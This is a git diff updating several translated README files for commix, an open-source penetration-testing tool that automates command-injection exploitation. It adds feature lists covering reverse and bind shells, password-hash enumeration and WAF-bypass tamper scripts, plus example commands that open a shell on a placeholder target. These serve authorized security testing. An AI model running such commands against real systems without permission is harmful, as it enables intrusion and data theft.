src="https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg"></a> - <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> - <a href="https://github.com/commixproject/commix/issues?q=is%3Aissue+is%3Aclosed"><img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed-raw/commixproject/commix.svg?colorB=ff0000"></a> - <a href="https://x.com/commixproject"><img alt="x" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> - </p> -</p> - - -**Commix** (abreviatura de [**comm**]and [**i**]njection e[**x**]ploiter) es una herramienta de pruebas de penetración de código abierto, escrita por **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), que automatiza la detección y explotación de vulnerabilidades de tipo **[command injection](https://owasp.org/www-community/attacks/Command_Injection)**. - -![Screenshot](https://commixproject.com/images/background.png) - -Puede visitar la **[colección de capturas de pantalla](https://github.com/commixproject/commix/wiki/Screenshots)** que muestra algunas de las funcionalidades disponibles en el wiki. - -## Instalación - -Puede descargar commix en cualquier plataforma clonando el repositorio Git oficial: - -``` -$ git clone https://github.com/commixproject/commix.git commix -``` - -Alternativamente, puede descargar la última **[versión tarball](https://github.com/commixproject/commix/tarball/master)** o **[versión zipball](https://github.com/commixproject/commix/zipball/master)**. - -*__Nota:__ **[Python](http://www.python.org/download/)** (versión **2.6**, **2.7** o **3.x**) es necesario para ejecutar commix.* - -## Uso - -Para obtener una lista de todas las opciones y parámetros disponibles: - -``` -$ python commix.py -h -``` - -Para obtener una visión general de las opciones, parámetros y conceptos básicos de uso de commix, consulte las páginas del wiki **[Uso](https://github.com/commixproject/commix/wiki/Usage)**, **[Ejemplos de uso](https://github.com/commixproject/commix/wiki/Usage-Examples)** y **[Evasión de filtros](https://github.com/commixproject/commix/wiki/Filters-Bypasses)**. - -## Enlaces - -- Manual de usuario: [https://github.com/commixproject/commix/wiki](https://github.com/commixproject/commix/wiki) -- Seguimiento de incidencias: [https://github.com/commixproject/commix/issues](https://github.com/commixproject/commix/issues) \ No newline at end of file +<p align="center"> + <img alt="CommixProject" src="https://commixproject.com/images/logo.png" height="140" /> +</p> + +<div align="center"> + +[`English`](../../README.md) • [`Ελληνικά`](README-gr-GR.md) • `Español` • [`Français`](README-fr-FR.md) • [`فارسی`](README-fa-FA.md) • [`Bahasa Indonesia`](README-idn-IDN.md) • [`Türkçe`](README-tr-TR.md) + +</div> + +<p align="center"> + <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> + <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7+-yellow.svg"></a> + <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> + <a href="https://github.com/commixproject/commix/issues?q=is%3Aissue+is%3Aclosed"><img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed-raw/commixproject/commix.svg?colorB=ff0000"></a> + <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> +</p> + +**Commix** (abreviatura de [**comm**]and [**i**]njection e[**x**]ploiter) es una herramienta de pruebas de penetración de código abierto, escrita por **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), que automatiza la detección y explotación de vulnerabilidades de tipo **[command injection](https://owasp.org/www-community/attacks/Command_Injection)**. + +![Screenshot](https://commixproject.com/images/background.png) + +Puede visitar la **[colección de capturas de pantalla](https://github.com/commixproject/commix/wiki/Screenshots)** que muestra algunas de las funcionalidades disponibles en el wiki. + +> [!IMPORTANT] +> **Este proyecto está en desarrollo activo.** Es posible que se produzcan cambios incompatibles +> entre revisiones. Consulte el +> [registro de cambios](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md) antes +> de actualizar. +> +> Commix está pensado principalmente para usarse como herramienta autónoma de línea de comandos, y +> ejecuta comandos del sistema operativo en los objetivos que analiza. **Ejecutar commix como un +> servicio puede suponer riesgos de seguridad.** Se recomienda usarlo con precaución, y únicamente +> contra sistemas de su propiedad o para los que cuente con autorización explícita. + +## Características + +* **Cinco técnicas de inyección** - classic, dynamic code evaluation, time-based, file-based (con una variante tempfile-based para objetivos con escritura restringida) y out-of-band (OAST) sobre HTTP/S y DNS. +* **Amplia superficie de inyección** - parámetros GET/POST, cabeceras HTTP, cookies y cuerpos de petición JSON/XML, además del módulo `shellshock` para objetivos CGI. +* **Shells interactivas** - una `os_shell` en el objetivo, los modos integrados `reverse_tcp` y `bind_tcp`, y transferencia de archivos (`download`/`upload`) a través de la shell establecida. +* **Enumeración y acceso a archivos** - usuario actual, nombre del host, privilegios, información del sistema, usuarios y hashes de contraseñas; lectura y escritura de archivos en el objetivo. +* **Evasión de filtros y WAF** - 22 scripts de manipulación (tamper) combinables, aplicados en un orden determinista. +* **Objetivos flexibles** - una única URL, un rastreo del sitio, formularios HTML, un sitemap, un registro de proxy, un archivo con varios objetivos, un archivo con una petición HTTP en bruto o entrada por `stdin`. +* **Análisis reanudables** - los resultados se almacenan por objetivo en un archivo de sesión y pueden exportarse a JSON. +* **Amplio soporte de back-end** - PHP, Python, Perl, Ruby y CGI, con soporte experimental para ASP.NET y JSP. + +## Instalación + +Puede descargar commix en cualquier plataforma clonando el repositorio Git oficial: + +``` +$ git clone https://github.com/commixproject/commix.git commix +``` + +Alternativamente, puede descargar la última **[versión tarball](https://github.com/commixproject/commix/tarball/master)** o **[versión zipball](https://github.com/commixproject/commix/zipball/master)**. + +> [!NOTE] +> Se necesita **[Python](https://www.python.org/downloads/)** (versión **3.7** o posterior) para +> ejecutar commix. El resto de dependencias se incluyen con el programa, por lo que no hace falta +> ningún paso de instalación adicional. + +## Uso + +Para obtener una lista de todas las opciones y parámetros disponibles: + +``` +$ python3 commix.py -h +``` + +Probar un único parámetro inyectable y abrir una shell en el objetivo: + +``` +$ python3 commix.py --url="http://www.target.com/vuln.php?addr=127.0.0.1" --os-shell +``` + +Demostrar la ejecución fuera de banda, cuando la respuesta no devuelve nada: + +``` +$ python3 commix.py --url="http://www.target.com/vuln.php" --data="addr=127.0.0.1" --oob +``` + +> [!NOTE] +> La detección fuera de banda (OAST) con `--oob` utiliza de forma predeterminada el servidor +> interactsh público `oast.fun`, por lo que los metadatos de las interacciones con su objetivo salen +> de su red. Apunte `--oob-server` a una instancia propia para mantenerlos internos. Para una guía +> detallada, consulte la página +> [**`techniques`**](https://github.com/commixproject/commix/wiki/Techniques) del wiki. + +Analizar una lista de objetivos de forma desatendida y guardar los resultados en un archivo: + +``` +$ python3 commix.py -m targets.txt --batch --report-json=results.json +``` + +Para obtener una visión general de las opciones, parámetros y conceptos básicos de uso de commix, consulte las páginas del wiki **[Uso](https://github.com/commixproject/commix/wiki/Usage)**, **[Ejemplos de uso](https://github.com/commixproject/commix/wiki/Usage-examples)** y **[Evasión de filtros](https://github.com/commixproject/commix/wiki/Filters-bypass-examples)**. + +## Enlaces + +- Manual de usuario: [https://github.com/commixproject/commix/wiki](https://github.com/commixproject/commix/wiki) +- Seguimiento de incidencias: [https://github.com/commixproject/commix/issues](https://github.com/commixproject/commix/issues) diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index 12065c964b..5b9f2ab68d 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -1,12 +1,19 @@ -<p align="left"> - <img alt="CommixProject" src="https://commixproject.com/images/logo.png" height="120" /> - <p align="left"> - <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> - <a href="http://www.python.org/download/"><img alt="Python 2.6|2.7|3.x" src="https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg"></a> - <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> - <a href="https://github.com/commixproject/commix/issues?q=is%3Aissue+is%3Aclosed"><img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed-raw/commixproject/commix.svg?colorB=ff0000"></a> - <a href="https://x.com/commixproject"><img alt="x" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> - </p> +<p align="center"> + <img alt="CommixProject" src="https://commixproject.com/images/logo.png" height="140" /> +</p> + +<div align="center"> + +[`English`](../../README.md) • [`Ελληνικά`](README-gr-GR.md) • [`Español`](README-es-ES.md) • [`Français`](README-fr-FR.md) • `فارسی` • [`Bahasa Indonesia`](README-idn-IDN.md) • [`Türkçe`](README-tr-TR.md) + +</div> + +<p align="center"> + <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> + <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7+-yellow.svg"></a> + <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> + <a href="https://github.com/commixproject/commix/issues?q=is%3Aissue+is%3Aclosed"><img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed-raw/commixproject/commix.svg?colorB=ff0000"></a> + <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> </p> **کامیکس** (مخفف [**کام**]ند ا[**ی**]نجکشن ا[**کس**]پلویتر) یک ابزار متن‌باز تست‌نفوذ است که توسط **[آناستاسیوس استاسینوپولوس](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) نوشته شده است که فرایند کشف و بهره‌برداری از آسیپ پذیری های **[کامند اینجکشن](https://owasp.org/www-community/attacks/Command_Injection)** را خودکار می‌کند. @@ -15,6 +22,28 @@ ![Screenshot](https://commixproject.com/images/background.png) می‌توانید از [مجموعه اسکرین‌ شات‌ها](https://github.com/commixproject/commix/wiki/Screenshots) که نشان‌دهنده بعضی از ویژگی‌ها است در صفحه ویکی دیدن کنید. +> [!IMPORTANT] +> **این پروژه در حال توسعه فعال است.** بین نسخه‌ها ممکن است تغییرات ناسازگار رخ دهد. پیش از +> به‌روزرسانی، +> [فهرست تغییرات](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md) را مرور +> کنید. +> +> کامیکس در درجه اول برای استفاده به عنوان یک ابزار مستقل خط فرمان ساخته شده است و روی هدف‌هایی که +> آزمایش می‌کند دستورات سیستم‌عامل را اجرا می‌کند. **اجرای کامیکس به صورت یک سرویس ممکن است خطرات +> امنیتی به همراه داشته باشد.** توصیه می‌شود با احتیاط و تنها روی سامانه‌هایی استفاده شود که متعلق +> به شما هستند یا برای آزمودن آن‌ها مجوز صریح دارید. + +## ویژگی‌ها + +* **پنج تکنیک تزریق** - classic، dynamic code evaluation، time-based، file-based (به همراه گونه tempfile-based برای هدف‌هایی با محدودیت نوشتن) و out-of-band (OAST) روی HTTP/S و DNS. +* **سطح تزریق گسترده** - پارامترهای GET/POST، سرآیندهای HTTP، کوکی‌ها و بدنه درخواست‌های JSON/XML، به‌علاوه ماژول `shellshock` برای هدف‌های CGI. +* **پوسته‌های تعاملی** - یک `os_shell` روی هدف، حالت‌های داخلی `reverse_tcp` و `bind_tcp`، و انتقال فایل (`download`/`upload`) از طریق پوسته برقرارشده. +* **شمارش و دسترسی به فایل** - کاربر جاری، نام میزبان، سطوح دسترسی، اطلاعات سیستم، کاربران و درهم‌سازی گذرواژه‌ها؛ خواندن و نوشتن فایل روی هدف. +* **دور زدن فیلترها و WAF** - ۲۲ اسکریپت tamper قابل ترکیب، که با ترتیبی قطعی اعمال می‌شوند. +* **هدف‌گذاری انعطاف‌پذیر** - یک URL، پویش سایت، فرم‌های HTML، sitemap، گزارش پروکسی، فایل چندهدفی، فایل درخواست خام HTTP یا ورودی `stdin`. +* **پویش‌های قابل ازسرگیری** - نتایج به تفکیک هدف در یک فایل نشست ذخیره می‌شوند و می‌توان آن‌ها را به JSON خروجی گرفت. +* **پشتیبانی گسترده از بک‌اند** - PHP، Python، Perl، Ruby و CGI، با پشتیبانی آزمایشی از ASP.NET و JSP. + ## نصب و راه‌اندازی در هر پلتفرمی می‌توانید با کلون کردن مخزن رسمی گیت کامیکس را دانلود کنید : @@ -23,26 +52,41 @@ از سوی دیگر, می‌توانید جدیدترین [tarball](https://github.com/commixproject/commix/tarball/master) یا [zipball](https://github.com/commixproject/commix/zipball/master) را دانلود کیند. -*__توجه:__ **[پایتون](http://www.python.org/download/)** (نسخه **2.6**, **2.7** یا **3** به بعد) برای اجرای کامیکس مورد نیاز است.* +> [!NOTE] +> **[پایتون](https://www.python.org/downloads/)** (نسخه **3.7** یا بالاتر) برای اجرای کامیکس مورد +> نیاز است. تمام وابستگی‌های دیگر همراه برنامه ارائه می‌شوند، بنابراین به مرحله نصب اضافی نیازی +> نیست. ## استفاده برای دریافت لیستی از همه گزینه‌ها و سوئیچ‌ها از این دستور استفاده کنید: - $ python commix.py -h + $ python3 commix.py -h -برای دریافت نمای کلی از گزینه‌های موجود, سوئیچ‌ها و/یا ایده‌های اساسی در مورد نحوه استفاده از کامیکس, بررسی **[استفاده](https://github.com/commixproject/commix/wiki/Usage)**, **[مثال‌های استفاده](https://github.com/commixproject/commix/wiki/Usage-Examples)** و **[دور زدن فیلترها](https://github.com/commixproject/commix/wiki/Filters-Bypasses)**, بخش [ویکی](https://github.com/commixproject/commix/wiki) را بررسی کنید. +آزمودن یک پارامتر آسیب‌پذیر و سپس گرفتن پوسته روی هدف: + $ python3 commix.py --url="http://www.target.com/vuln.php?addr=127.0.0.1" --os-shell -## پیوندها +اثبات اجرا به روش خارج از باند، هنگامی که پاسخ چیزی برنمی‌گرداند: -* راهنمای کاربر: https://github.com/commixproject/commix/wiki -* ردیاب مسائل: https://github.com/commixproject/commix/issues + $ python3 commix.py --url="http://www.target.com/vuln.php" --data="addr=127.0.0.1" --oob + +> [!NOTE] +> شناسایی خارج از باند (OAST) با `--oob` به‌صورت پیش‌فرض از سرور عمومی interactsh با نشانی +> `oast.fun` استفاده می‌کند، بنابراین فراداده تعامل‌های مربوط به هدف شما از شبکه‌تان خارج می‌شود. +> برای آنکه این داده‌ها درون‌سازمانی بماند، `--oob-server` را به نمونه‌ای که خودتان میزبانی می‌کنید +> اشاره دهید. برای راهنمای کامل، صفحه +> [**`techniques`**](https://github.com/commixproject/commix/wiki/Techniques) در ویکی را ببینید. + +پویش فهرستی از هدف‌ها بدون نظارت و نوشتن نتایج در یک فایل: + + $ python3 commix.py -m targets.txt --batch --report-json=results.json +برای دریافت نمای کلی از گزینه‌های موجود, سوئیچ‌ها و/یا ایده‌های اساسی در مورد نحوه استفاده از کامیکس, بررسی **[استفاده](https://github.com/commixproject/commix/wiki/Usage)**, **[مثال‌های استفاده](https://github.com/commixproject/commix/wiki/Usage-examples)** و **[دور زدن فیلترها](https://github.com/commixproject/commix/wiki/Filters-bypass-examples)**, بخش [ویکی](https://github.com/commixproject/commix/wiki) را بررسی کنید. -## ترجمه‌ها -* [یونانی](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md) -* [اندونزیایی](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) -* [فارسی](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) \ No newline at end of file +## پیوندها + +* راهنمای کاربر: https://github.com/commixproject/commix/wiki +* ردیاب مسائل: https://github.com/commixproject/commix/issues diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index ab04d745a4..99167086ea 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -1,46 +1,100 @@ - -<p align="left"> - <img alt="CommixProject" src="https://commixproject.com/images/logo.png" height="120" /> - <p align="left"> - <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> - <a href="http://www.python.org/download/"><img alt="Python 2.6|2.7|3.x" src="https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg"></a> - <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> - <a href="https://github.com/commixproject/commix/issues?q=is%3Aissue+is%3Aclosed"><img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed-raw/commixproject/commix.svg?colorB=ff0000"></a> - <a href="https://x.com/commixproject"><img alt="x" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> - </p> -</p> - - -**Commix** (abréviation de [**comm**]and [**i**]njection e[**x**]ploiter) est un outil open source de test d'intrusion, écrit par [**Anastasios Stasinopoulos**](https://github.com/stasinopoulos) ([**@ancst**](https://x.com/ancst)), qui automatise la détection et l'exploitation des vulnérabilités de type [**command injection**](https://owasp.org/www-community/attacks/Command_Injection). - -![Screenshot](https://commixproject.com/images/background.png) - -Vous pouvez consulter la [**collection de captures d'écran**](https://github.com/commixproject/commix/wiki/Screenshots) présentant certaines fonctionnalités sur le wiki. - - -## Installation - -Vous pouvez télécharger commix sur n'importe quelle plateforme en clonant le dépôt Git officiel : - -``` -$ git clone https://github.com/commixproject/commix.git commix -``` - -Vous pouvez également télécharger la dernière [**archive tarball**](https://github.com/commixproject/commix/tarball/master) ou [**archive zipball**](https://github.com/commixproject/commix/zipball/master). - -**_Remarque :_** [**_Python_**](http://www.python.org/download/) _(version_ **_2.6_**_,_ **_2.7_** _ou_ **_3.x_**_) est requis pour exécuter commix._ - -## Utilisation - -Pour obtenir la liste de toutes les options et de tous les paramètres disponibles : - -``` -$ python commix.py -h -``` - -Pour obtenir un aperçu des options, paramètres et concepts de base de commix, consultez les pages du wiki [**Utilisation**](https://github.com/commixproject/commix/wiki/Usage), [**Exemples d'utilisation**](https://github.com/commixproject/commix/wiki/Usage-Examples) et [**Contournement des filtres**](https://github.com/commixproject/commix/wiki/Filters-Bypasses). - -## Liens - -- Manuel utilisateur : [https://github.com/commixproject/commix/wiki](https://github.com/commixproject/commix/wiki) -- Suivi des problèmes : [https://github.com/commixproject/commix/issues](https://github.com/commixproject/commix/issues) +<p align="center"> + <img alt="CommixProject" src="https://commixproject.com/images/logo.png" height="140" /> +</p> + +<div align="center"> + +[`English`](../../README.md) • [`Ελληνικά`](README-gr-GR.md) • [`Español`](README-es-ES.md) • `Français` • [`فارسی`](README-fa-FA.md) • [`Bahasa Indonesia`](README-idn-IDN.md) • [`Türkçe`](README-tr-TR.md) + +</div> + +<p align="center"> + <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> + <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7+-yellow.svg"></a> + <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> + <a href="https://github.com/commixproject/commix/issues?q=is%3Aissue+is%3Aclosed"><img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed-raw/commixproject/commix.svg?colorB=ff0000"></a> + <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> +</p> + +**Commix** (abréviation de [**comm**]and [**i**]njection e[**x**]ploiter) est un outil open source de test d'intrusion, écrit par [**Anastasios Stasinopoulos**](https://github.com/stasinopoulos) ([**@ancst**](https://x.com/ancst)), qui automatise la détection et l'exploitation des vulnérabilités de type [**command injection**](https://owasp.org/www-community/attacks/Command_Injection). + +![Screenshot](https://commixproject.com/images/background.png) + +Vous pouvez consulter la [**collection de captures d'écran**](https://github.com/commixproject/commix/wiki/Screenshots) présentant certaines fonctionnalités sur le wiki. + +> [!IMPORTANT] +> **Ce projet est en développement actif.** Attendez-vous à des changements incompatibles d'une +> révision à l'autre. Consultez le +> [journal des modifications](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md) +> avant toute mise à jour. +> +> Commix est conçu avant tout comme un outil autonome en ligne de commande, et il exécute des +> commandes système sur les cibles qu'il teste. **Exécuter commix en tant que service peut présenter +> des risques de sécurité.** Il est recommandé de l'utiliser avec prudence, et uniquement contre des +> systèmes qui vous appartiennent ou pour lesquels vous disposez d'une autorisation explicite. + +## Fonctionnalités + +* **Cinq techniques d'injection** - classic, dynamic code evaluation, time-based, file-based (avec une variante tempfile-based pour les cibles à écriture restreinte) et out-of-band (OAST) via HTTP/S et DNS. +* **Large surface d'injection** - paramètres GET/POST, en-têtes HTTP, cookies et corps de requête JSON/XML, ainsi que le module `shellshock` pour les cibles CGI. +* **Shells interactifs** - un `os_shell` sur la cible, les modes intégrés `reverse_tcp` et `bind_tcp`, et le transfert de fichiers (`download`/`upload`) via le shell établi. +* **Énumération et accès aux fichiers** - utilisateur courant, nom d'hôte, privilèges, informations système, utilisateurs et empreintes de mots de passe ; lecture et écriture de fichiers sur la cible. +* **Contournement des filtres et des WAF** - 22 scripts de falsification (tamper) combinables, appliqués dans un ordre déterministe. +* **Ciblage flexible** - une URL unique, une exploration du site, des formulaires HTML, un sitemap, un journal de proxy, un fichier de cibles multiples, un fichier de requête HTTP brute ou une entrée `stdin`. +* **Analyses reprenables** - les résultats sont stockés par cible dans un fichier de session et peuvent être exportés en JSON. +* **Large prise en charge des back-ends** - PHP, Python, Perl, Ruby et CGI, avec une prise en charge expérimentale d'ASP.NET et JSP. + +## Installation + +Vous pouvez télécharger commix sur n'importe quelle plateforme en clonant le dépôt Git officiel : + +``` +$ git clone https://github.com/commixproject/commix.git commix +``` + +Vous pouvez également télécharger la dernière [**archive tarball**](https://github.com/commixproject/commix/tarball/master) ou [**archive zipball**](https://github.com/commixproject/commix/zipball/master). + +> [!NOTE] +> [**Python**](https://www.python.org/downloads/) (version **3.7** ou ultérieure) est requis pour +> exécuter commix. Toutes les autres dépendances sont fournies avec le programme, aucune étape +> d'installation supplémentaire n'est donc nécessaire. + +## Utilisation + +Pour obtenir la liste de toutes les options et de tous les paramètres disponibles : + +``` +$ python3 commix.py -h +``` + +Tester un seul paramètre injectable, puis ouvrir un shell sur la cible : + +``` +$ python3 commix.py --url="http://www.target.com/vuln.php?addr=127.0.0.1" --os-shell +``` + +Prouver l'exécution hors bande, lorsque la réponse ne renvoie rien : + +``` +$ python3 commix.py --url="http://www.target.com/vuln.php" --data="addr=127.0.0.1" --oob +``` + +> [!NOTE] +> La détection hors bande (OAST) avec `--oob` utilise par défaut le serveur interactsh public +> `oast.fun` : les métadonnées des interactions avec votre cible sortent donc de votre réseau. +> Pointez `--oob-server` vers une instance auto-hébergée pour les garder en interne. Pour un guide +> détaillé, consultez la page +> [**`techniques`**](https://github.com/commixproject/commix/wiki/Techniques) du wiki. + +Analyser une liste de cibles sans surveillance et enregistrer les résultats dans un fichier : + +``` +$ python3 commix.py -m targets.txt --batch --report-json=results.json +``` + +Pour obtenir un aperçu des options, paramètres et concepts de base de commix, consultez les pages du wiki [**Utilisation**](https://github.com/commixproject/commix/wiki/Usage), [**Exemples d'utilisation**](https://github.com/commixproject/commix/wiki/Usage-examples) et [**Contournement des filtres**](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). + +## Liens + +- Manuel utilisateur : [https://github.com/commixproject/commix/wiki](https://github.com/commixproject/commix/wiki) +- Suivi des problèmes : [https://github.com/commixproject/commix/issues](https://github.com/commixproject/commix/issues) diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 70c8286cd3..f58aedd433 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -1,20 +1,49 @@ -<p align="left"> - <img alt="CommixProject" src="https://commixproject.com/images/logo.png" height="120" /> - <p align="left"> - <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> - <a href="http://www.python.org/download/"><img alt="Python 2.6|2.7|3.x" src="https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg"></a> - <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> - <a href="https://github.com/commixproject/commix/issues?q=is%3Aissue+is%3Aclosed"><img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed-raw/commixproject/commix.svg?colorB=ff0000"></a> - <a href="https://x.com/commixproject"><img alt="x" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> - </p> +<p align="center"> + <img alt="CommixProject" src="https://commixproject.com/images/logo.png" height="140" /> </p> -To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**]ploiter) είναι πρόγραμμα ανοιχτού κώδικα, γραμμένο από τον **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου **[command injection](https://owasp.org/www-community/attacks/Command_Injection)**. +<div align="center"> + +[`English`](../../README.md) • `Ελληνικά` • [`Español`](README-es-ES.md) • [`Français`](README-fr-FR.md) • [`فارسی`](README-fa-FA.md) • [`Bahasa Indonesia`](README-idn-IDN.md) • [`Türkçe`](README-tr-TR.md) -## Εικόνα +</div> + +<p align="center"> + <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> + <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7+-yellow.svg"></a> + <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> + <a href="https://github.com/commixproject/commix/issues?q=is%3Aissue+is%3Aclosed"><img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed-raw/commixproject/commix.svg?colorB=ff0000"></a> + <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> +</p> + +To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**]ploiter) είναι πρόγραμμα ανοιχτού κώδικα, γραμμένο από τον **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου **[command injection](https://owasp.org/www-community/attacks/Command_Injection)**. ![Screenshot](https://commixproject.com/images/background.png) +Μπορείτε να επισκεφθείτε τη [συλλογή στιγμιότυπων](https://github.com/commixproject/commix/wiki/Screenshots) που παρουσιάζει μερικά από τα χαρακτηριστικά του, στο wiki. + +> [!IMPORTANT] +> **Το έργο βρίσκεται υπό ενεργή ανάπτυξη.** Αναμένετε αλλαγές που ενδέχεται να σπάσουν τη +> συμβατότητα μεταξύ των εκδόσεων. Συμβουλευτείτε το +> [ιστορικό αλλαγών](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md) πριν +> από κάθε ενημέρωση. +> +> Το commix έχει σχεδιαστεί κυρίως για χρήση ως αυτόνομο εργαλείο γραμμής εντολών και εκτελεί +> εντολές λειτουργικού συστήματος στα συστήματα που ελέγχει. **Η εκτέλεση του commix ως υπηρεσία +> ενδέχεται να ενέχει κινδύνους ασφαλείας.** Συνιστάται η χρήση του με προσοχή, και μόνο σε +> συστήματα που σας ανήκουν ή για τα οποία έχετε ρητή εξουσιοδότηση ελέγχου. + +## Χαρακτηριστικά + +* **Πέντε τεχνικές εισαγωγής** - classic, dynamic code evaluation, time-based, file-based (με παραλλαγή tempfile-based για στόχους με περιορισμένη εγγραφή) και out-of-band (OAST) μέσω HTTP/S και DNS. +* **Ευρεία επιφάνεια εισαγωγής** - παράμετροι GET/POST, κεφαλίδες HTTP, cookies και σώματα αιτημάτων JSON/XML, καθώς και η μονάδα `shellshock` για στόχους CGI. +* **Διαδραστικά κελύφη** - `os_shell` στον στόχο, ενσωματωμένες λειτουργίες `reverse_tcp` και `bind_tcp`, και μεταφορά αρχείων (`download`/`upload`) μέσα από το κέλυφος. +* **Απαρίθμηση και πρόσβαση σε αρχεία** - τρέχων χρήστης, όνομα υπολογιστή, δικαιώματα, πληροφορίες συστήματος, χρήστες και κατακερματισμοί κωδικών· ανάγνωση και εγγραφή αρχείων στον στόχο. +* **Παράκαμψη φίλτρων και WAF** - 22 συνδυάσιμα scripts παραποίησης (tamper), με ντετερμινιστική σειρά εφαρμογής. +* **Ευέλικτη στόχευση** - μεμονωμένο URL, ανίχνευση ιστότοπου (crawl), φόρμες HTML, sitemap, αρχείο καταγραφής proxy, αρχείο πολλαπλών στόχων, αρχείο ακατέργαστου αιτήματος HTTP ή είσοδος από `stdin`. +* **Σαρώσεις με δυνατότητα συνέχισης** - τα αποτελέσματα αποθηκεύονται ανά στόχο σε αρχείο συνεδρίας και μπορούν να εξαχθούν σε JSON. +* **Ευρεία υποστήριξη back-end** - PHP, Python, Perl, Ruby και CGI, με πειραματική υποστήριξη για ASP.NET και JSP. + ## Εγκατάσταση Μπορείτε να κατεβάσετε το commix σε κάθε πλατφόρμα κάνοντας κλώνο το επίσημο Git αποθετήριο: @@ -23,20 +52,40 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**] Εναλλακτικά, μπορείτε να κατεβάσετε την τελευταία [tarball](https://github.com/commixproject/commix/tarball/master) ή [zipball](https://github.com/commixproject/commix/zipball/master). -*__Σημείωση:__ H 